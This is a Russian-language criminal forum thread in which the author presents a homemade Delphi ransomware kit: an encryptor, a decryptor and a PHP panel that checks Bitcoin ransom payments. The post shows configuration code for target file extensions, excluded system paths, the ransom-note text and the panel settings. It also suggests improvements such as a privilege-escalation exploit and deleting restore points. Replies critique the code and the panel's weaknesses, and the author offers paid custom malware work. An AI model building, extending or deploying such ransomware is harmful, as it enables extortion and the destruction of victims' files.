• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Ransomware - от ничего к простому 18+, часть №2. (конкурс 2020)

merdock

X-pert
Эксперт
Регистрация
09.06.2019
Сообщения
335
Реакции
259
header.jpg


Ransomware - от ничего к простому 18+, часть №2. merdock для конкурса xss.pro (ex DaMaGeLaB) 2020

1) Вступление
2) Особенности софта
3) Настройка и скрины
4) Рекомендации
5) Выводы
6) Исходники
7) Лицензионное наставление

1. Вступление
Всем привет, после публикации первой статьи пришло много отзывов и просьб на ее основе сделать простой ransomware/шифровальщик. После долгого обдумывания и тройку бессонных ночей был сделан простой пример онлайн шифровальщика с автоматическим приемом оплаты. Данный софт разработан для исследования и обучения.


2. Особенности софта
- разработаны панель, шифровальщик и дешифровальщик
- комментарии во всех исходниках
- не зависит от сторонних dll
- работает на всей линейки OS Windows
- работает на архитектуре x86 и x64
- компилируется x86 и x64
- компилируется на всей линейки Delphi 7-XE10
- не требует установки сторонних модулей и компонентов Delphi
- ~40кб х86 - ВАУ как это возможно! (это вам не 18Мб)
- использует шифрование AES+AES-NI c 256 битным ключом без отступов с блоковой связкой CBC
- частичное шифрование происходит без изменения размера файла
- ключ и вектор генерируется случайным образом и отправляется на сервер
- для оповещение пользователя используется файл-инструкция
- автоматическая проверка оплаты
- панель совместима со всеми версиями php

3. Настройка и скрины
стаб lock.dpr:
Код:
      // длина шифрования
      len:Cardinal=1024*16;
      // расширения или файлы ищем, через ;
      url:AnsiString='http://fse/web.php;';
      // расширения или файлы ищем, через ;
      ext:AnsiString='.jpg;.bmp;.png;';
      // расширения или файлы игнорируем, через ;
      nxt:AnsiString='.exe;.dll;.lnk;.com;.sys;boot.ini;ntdetect.com;bootfont.bin;ntldr;bootmgr;bootnxt;bootsect.bak;ntuser.dat;pdoxusrs.net;\windows;\program;';
      // описание текста инструкции выкупа
      txt:AnsiString='You identification number: %ID%'#$D#$A'For decrypt you files, you need open url: http://site.com';
      // название файла инструкции выкупа
      fxt:AnsiString='readmy_for_decrypt.txt';

панель web.php:
Код:
      // адрес базы
      $user_host = 'localhost';
      // имя юзера
      $user_dbuser = 'root';
      // пароль к базе
      $user_dbpass = '';
      // имя базы
      $user_dbname = 'lock';
      // порт к базе
      $user_port = '3306';
      // сумма выкупа в BTC
      $pay = 0.01;

Скрин запроса ID при первом входе юзера web_1.jpg
web_1.jpg

Скрин отображения суммы и кошелька для оплаты, инструкция по оплате web_2.jpg
web_2.jpg


Скрин если оплата произведена и инструкция с ключом по дешифровке web_2.jpg
web_3.jpg


Скрин программы по дешифровке
unlock_1.jpg


4. Рекомендации
Что еще можно сделать для полноценной работы:

панель:
- добавить отсылку информации о системе в панель
- сделать дополнительные проверки безопасности панели
- сделать автогенерация кошельков в панель
- сделать админку в панели
- сделать красивый дизайн
стаб:
- сделать многопоточную работу
- добавить генерацию картинки-инструкции на рабочий стол
- добавить эксплойт для повышения прав
- добавить удаление контрольных точек
- добавить имена файлов которые надо шифровать полностью или с максимально
билдер:
- разработать с шифрованием параметров
- сделать систему контроля целостности файла
инлокер:
- добавить кнопки отдельной расшифровки папки и файла
- сделать проверку на корректность расшифровки

5. Выводы
Я постарался сделать все как можно проще и понятнее. Выбрал работу в однопоточном режиме для простоты поэтому и скорость работы не сильно большая. Так же многие решения были выбраны из за ограниченного количества времени. Дамп базы я приложил, сгенерировать кошельки можете в биткоинкоре, после добавьте в базу, как в примере, т.е. каждый раз как человек попадает на сайт и вводит ИД ему система выдает кошелек, так что кошельков надо не мало. Так же надо подправить путь к расшифровщику (лучше использовать zip + пароль, его написать рядом с линком), текст более подробнее сделать.
Софт был проверен мной по мере возможности, но не исключаю мелкие баги, т.к. систем контроля было использовано по минимуму и тестировалось в ограниченных ресурсах. Так что сильно не ругать, а писать баг репорты. Бинарники я не прикладывал, чтобы не натворили делов с дуру, компилируйте сами. Всем спасибо кто дочитал.
Ахтунг, будьте бдительны!

6. Исходники

Скрытый контент для зарегистрированных пользователей.


7. Лицензионное наставление
Продажа любых вариаций софта без разрешения автора запрещена, репост без авторства запрещен, имейте совесть!
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Вот теперь понимаю две девахи а то одной мало было?. А если по теме тут сделано работы достаточно много пока что для меня это фаворит, конечно если кто решит мне задонатить натравлю своих фанатов?
Ссылку добавь на первую статью.
 
~40кб х86 - ВАУ как это возможно! (это вам не 18Мб)

И 1500 строк кода, вместо 50 ?

На самом деле круто, что ты выложил на дельфях пример. Интересно было сравнить.
 
И 1500 строк кода, вместо 50 ?

В твоем случае больше кода, просто библиотеки спрятаны от глаз юзера. Просто я тут не стал выносить функции дешифрования в другую библиотеку, так же строк много потому что ассемблер используется и разбит код по архитектуре, а можно было на два файла разбить х86 и х64 и не использовать асм с поддержкой AES-NI - а это как ты знаешь не по фуншую. Кстати там 10кб еще занимает ММ дельфи, можно было бы его вырезать, но тогда геморно было бы релизовывать выделения памяти.?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
4. Рекомендации
Что еще можно сделать для полноценной работы:
Не писать малварь на делфи ? ??:cool:
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не писать малварь на делфи ? ??:cool:
Зря ты так проверил до этого наверно с десяток Ransomware на Си на Go на С++ На всей линейки виндовс заработал только на дельфи, и давно замечаю что программы написаные на дельфи запукаются везде.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Зря ты так проверил до этого наверно с десяток Ransomware на Си на Go на С++ На всей линейки виндовс заработал только на дельфи, и давно замечаю что программы написаные на дельфи запукаются везде.
Ребята вы меня пугаете ^_^ Если софт написанный на плюсах не работает, значит его писал криворукий или новичок. Go вообще отдельная тема. Давай-те я ща вспомню школу и буду пилить статьи как писать малварь на pascal. Оно же тоже компилится под винду. Мы же профессионалы, давай-те делать грамотный софт! Я не спорю автор молодец, и что пишет статьи, это большой плюс. Но блин. Ток какая в этом смысловая нагрузка?

Как написать простой софт аля такой ransomware. Открываем гугл. И вбиваем пару запросов
1. Поиск файлов на диске по маске программно dephi
2. Список всех дисков программно delphi
3. Шифрование файла aes программно delphi
4. Компиляция файла с минимальным размером delphi
Ну и что там еще не хватает для функционала. Отстук, работа с сетью и так далее.

Вот прям уверен на 100%. Что обычной копипастой можно собрать софт. И теперь меняем слово Delphi на другой язык программирования и получаем ту же самую картину. Пару часов возни и УРА! Мы написали малварь.

Бегло по коду :
Процедуры очень схожи с

По веб морде :
Ну вот опять, ну покажите людям как правильно делать. Логика, Гуй, запросы в базу, все в одну кучу и в одном файле. Пароли, а чего мелочиться, рут будем юзать. Почему цепляет? После статьи мазы да и не только. Вот куда не ткни пальцем. Везде одно и тоже. Человек попросил доработать, и это АД.
Откуда берется новый кошелек? Я так и не понял, руками вносить?

$sql="UPDATE base SET indx='".$_POST['a']."', keyd='".$_POST['b']."' WHERE indx='' LIMIT 1";
А чего бы нам и чужую запись не обновить, да?)

// ограничение проверки по времени, чтобы не спамили сервер
if (time()-intval($_SESSION['trans_time'])>300
Ну раз уж сделал проверку, то надо бы делать вначале ее. А то у тебя скрипт сначала подключается к базе, потом логика скрипта и запросы, потом проверяет, не ддосят ли нас.

Это наверное одна из причин почему я не выкладываю ни когда полностью исходники, потому что это труд, который требует много времени.

ТС и вопрос. Если ты на столько знаешь асм хорошо, в коде его 70%. Зачем на делфи то писал, писал бы на асм? :cool:
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Ребята вы меня пугаете ^_^ Если софт написанный на плюсах не работает, значит его писал криворукий или новичок. Go вообще отдельная тема.

Давай-те я ща буду пилить статьи как писать малварь на pascal. Оно же тоже компилится под винду. Мы же профессионалы, давай-те делать грамотный софт!
Я пишу бро что вижу, сам не писал и не пишу под виндовс, да и кодер из меня не очень скорей всего. Открыл github ввел в поиск Ransomware и начал компилить те сорцы что понравились до win 2008 не завелся не один. Софт на дельфи разных кодеров у меня запускался везде, возможно совпадение но это мои наблюдения.
И что то мне подсказывает что одного рекурсивного поиска файлов по маске и отправки ключа на гейт тут будет мало. Ну если хотите чтобы софт как говорится был не на коленке.

И ты правельно заметил если человек не криворукий он грамотный софт может написать на любом языке так почему же не на дельфи? А вообще вы кодеры вам видней, любое мнение имеет место быть.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
И что то мне подсказывает что одного рекурсивного поиска файлов по маске и отправки ключа на гейт тут будет мало. Ну если хотите чтобы софт как говорится был не на коленке.
Это было для примера, как написать простой софт, имея под рукой гугл и клавиатуру) И для боевого софта конечно этого мало. Ведь уже есть куча защит которые анализируют массовые сканы и поиски файлов.
Кстати пока тут лазил нашел интересную статью


И ты правельно заметил если человек не криворукий он грамотный софт может написать на любом языке так почему же не на дельфи? А вообще вы кодеры вам видней, любое мнение имеет место быть.
Вот тут можно почитать

Да и вообще по себе знаю. С++ полезен для понимания вещей. То есть ты когда пишешь, при этом понимаешь как это работает и что у тебя происходит. А не модули, которые делают это за тебя. Вопрос стоит в расширении. Да во всех языках можно писать и на чистом апи.
 
Бегло по коду :
Процедуры очень схожи с
Да, часть асм кода оттуда брал и дорабатывал, не с нуля AES шифрование брал, чтобы не было криков - давайте Опенссл возьмем там все отработано.

По веб морде :
Ну вот опять, ну покажите людям как правильно делать. Логика, Гуй, запросы в базу, все в одну кучу и в одном файле. Пароли, а чего мелочиться, рут будем юзать. Почему цепляет? После статьи мазы да и не только. Вот куда не ткни пальцем. Везде одно и тоже. Человек попросил доработать, и это АД.
Откуда берется новый кошелек? Я так и не понял, руками вносить?
Да, кошельки руками вбивать(точнее дампом добавляются), я мог бы сделать софт для генерации, но я бы подобному стороннему софту не доверял, а что проблема кошельки нагенерировать? Я торопился поэтому не стоит ожидать исходный код шифровальщика за 50к баксов, об этом я предупредил в статье, что будет сделано просто.

А чего бы нам и чужую запись не обновить, да?)
Ты можешь доработать (все же написано, чему стоит уделить внимание, что тебя тут удивило?), сам проект был сделан как пример, а не пособие для взлома пентагона.

Ну раз уж сделал проверку, то надо бы делать вначале ее. А то у тебя скрипт сначала подключается к базе, потом логика скрипта и запросы, потом проверяет, не ддосят ли нас.
За отдельную плату я сделаю любой каприз.

Это наверное одна из причин почему я не выкладываю ни когда полностью исходники, потому что это труд, который требует много времени.
И денег, и знаний, и терпения. А я выложил пример от которого можно оттолкнуться, ведь ради этого все и затеено, показать направление, дать пример, описать код, а не для того чтобы завтра появились темы - продаю криптолокер.

ТС и вопрос. Если ты на столько знаешь асм хорошо, в коде его 70%. Зачем на делфи то писал, писал бы на асм? :cool:
Я не настолько хорошо знаю асм, просто в данном случае мы говорим о скорости, на дургих яп будет медленней и как ты AES-NI собираешься без асма использовать?
 
Последнее редактирование:
Вот тут можно почитать

Да и вообще по себе знаю. С++ полезен для понимания вещей. То есть ты когда пишешь, при этом понимаешь как это работает и что у тебя происходит. А не модули, которые делают это за тебя. Вопрос стоит в расширении. Да во всех языках можно писать и на чистом апи.

Взял дельфи - потому что быстрее писать код и отлаживать чем на с++, я бы мог и на с++ это сделать но в 5 раз дольше времени на это убил. Сильных отличий дельфи от с++ я не вижу, ни в размерах exe, dll ни в принципах подхода к компилированию кода. Но дельфи обладает одним плюсом от с++, на дельфи ты можешь программировать как нативно(даже убрать ММ), так и на верхнем уровне с VCL, ООП и другими плюшками, на с++ это геморней делать.

Так что не стоит вдаваться в депрессию по поводу с++, дельфи и асма. Я считаю что на любом из этих языков реально сделать профессиональный и хороший шифровальщик со всем плюшками, просто тут из за нехватки времени я выбрал дельфи. Но для тебя могу хороший проект сделать в частном порядке за твои деньги.
 
А вот еще, забыл добавить там $_POST перед использование фильтруется, если ты намекаешь на SQL иньекцию то это сделать будет сложно, просто ты плохо код смотрел, да и чужую запись тут не обновишь, т.е. если ты глянешь на условие тут берется последняя свободная запись и никто ее другой взять не сможет, т.к. срабатывает механизм транзакций.
$sql="UPDATE base SET indx='".$_POST['a']."', keyd='".$_POST['b']."' WHERE indx='' LIMIT 1"; А чего бы нам и чужую запись не обновить, да?)
 
Не писать малварь на делфи ? ??:cool:
А если более профессионально, разложи по полочкам причины? Я думаю, что смогу их все опровергнуть.
 
Вот прям уверен на 100%. Что обычной копипастой можно собрать софт. И теперь меняем слово Delphi на другой язык программирования и получаем ту же самую картину. Пару часов возни и УРА! Мы написали малварь.

Общая теория правильная, можно даже не копипастить, а взять питон или голанг и накатать код в 18 строк. С твоим подходом пишут почти весь код в той или иной мере - зачем изобретать велосипед. Но тогда возникает вопрос - если можно жить по твоей схеме - зачем программисты? Отвечу очень просто, ВСЕГДА есть проблемы, даже когда коиспастишь снипеты, ВСЕГДА нужно сделать чуть измененную задачу чем в снипете, всегда есть ошибки. По факту за последнии 30 лет ничего нового не придумали, а наш любимый Кнут описал все что надо, даже в новом издании с++ добавили с примерами, а в других языках пошли дальше - эти примеры в библиотеки базовы запихали, чтобы люд простой не искал примеры. И всеравно программисты нужны, значит дело не только в копипасте?

С уважение твой Merdock.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
За отдельную плату я сделаю любой каприз.
За проект на делфи я бы даже не подписался, будь то парсер

Я не настолько хорошо знаю асм, просто в данном случае мы говорим о скорости, на дургих яп будет медленней и как ты AES-NI собираешься без асма использовать?
Конечно, ты его просто скопировал, это была просто отсылка к той статье, где ты взял код.

А вот еще, забыл добавить там $_POST перед использование фильтруется, если ты намекаешь на SQL иньекцию то это сделать будет сложно, просто ты плохо код смотрел, да и чужую запись тут не обновишь, т.е. если ты глянешь на условие тут берется последняя свободная запись и никто ее другой взять не сможет, т.к. срабатывает механизм транзакций.
И что?) а если их будет две?) ты проведешь оплату не тому юзеру) а потом и не второму и не третьему. Короче все юзеры останутся без расшифровки. Я щас просто зажму F5 в браузере и тебя каждую долю секунды будут конекты и селекты в базу! Читай свой код. Конект -> запрос -> проверка не ддос ли.

Общая теория правильная, можно даже не копипастить, а взять питон или голанг и накатать код в 18 строк. С твоим подходом пишут почти весь код в той или иной мере - зачем изобретать велосипед. Но тогда возникает вопрос - если можно жить по твоей схеме - зачем программисты? Отвечу очень просто, ВСЕГДА есть проблемы, даже когда коиспастишь снипеты, ВСЕГДА нужно сделать чуть измененную задачу чем в снипете, всегда есть ошибки. По факту за последнии 30 лет ничего нового не придумали, а наш любимый Кнут описал все что надо, даже в новом издании с++ добавили с примерами, а в других языках пошли дальше - эти примеры в библиотеки базовы запихали, чтобы люд простой не искал примеры. И всеравно программисты нужны, значит дело не только в копипасте?

С уважение твой Merdock.
Молодец бро, я рад что ты это понимаешь! Но не придумали ни чего нового , но стек технологий растет и ты должен с ним развиваться

Бро, ты хотел критики, я показал места где нужно поработать, даже не ради денег, а просто ради себя. Мне в свое время так же тыкали пальцем. Говорил твой код полное Г, но я слушал их советы, я научился, почитал что мне сказали. Так что без обид. Даже если не ради денег, ты напишешь хороший код, тебе за него дадут больше, поверь мне! Так как ты почти единственный из кодеров, я за тебя проголосую.
 
Последнее редактирование:
За проект на делфи я бы даже не подписался, будь то парсер

Ты не понял, я могу тебе на любоя ЯП за твои деньги написать что угодно :)

Конечно, ты его просто скопировал, это была просто отсылка к той статье, где ты взял код.
Это не совсем так, если бы это было так я бы просто взял бы модули и использовал их. Причины почему - я выбрал то что мне нужно(тем самым уменьшил размер ехе в 5 раз) и частично изменил, чтобы добиться разрядной платформенности, убрать лишнее и работоспособности на всех версиях дельфи.

И что?) а если их будет две?) ты проведешь оплату не тому юзеру) а потом и не второму и не третьему. Короче все юзеры останутся без расшифровки. Я щас просто зажму F5 в браузере и тебя каждую долю секунды будут конекты и селекты в базу! Читай свой код. Конект -> запрос -> проверка не ддос ли.
Это частности которые о кторыех указано в статье. Безопасность надо усилить, капчу добавить на вход, отсекающие тайминг запросы к гейту, вынести гейт в отдельный файл. Я же писал, что торопился (не знал что конкурс продлят).

Молодец бро, я рад что ты это понимаешь! Но не придумали ни чего нового , но стек технологий растет и ты должен с ним развиваться
Спасибо, я это знаю, но стек технологий основан на базе предыдущих технологий, т.е. для того чтобы создать что то современное надо сделать базу и ее потом дорабатывать и обновлять под современные реалии. Данный проект как раз рассчитан на тех кто хочет с чего то начать.

Бро, ты хотел критики, я показал места где нужно поработать, даже не ради денег, а просто ради себя. Мне в свое время так же тыкали пальцем. Говорил твой код полное Г, но я слушал их советы, я научился, почитал что мне сказали. Так что без обид. Даже если не ради денег, ты напишешь хороший код, тебе за него дадут больше, поверь мне! Так как ты почти единственный из кодеров, я за тебя проголосую.

Я всегда рад за конструктивную и подробную критику. Тем более указанные недочеты помогут другим обратить внимание на узкие места и сделать более качественно.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх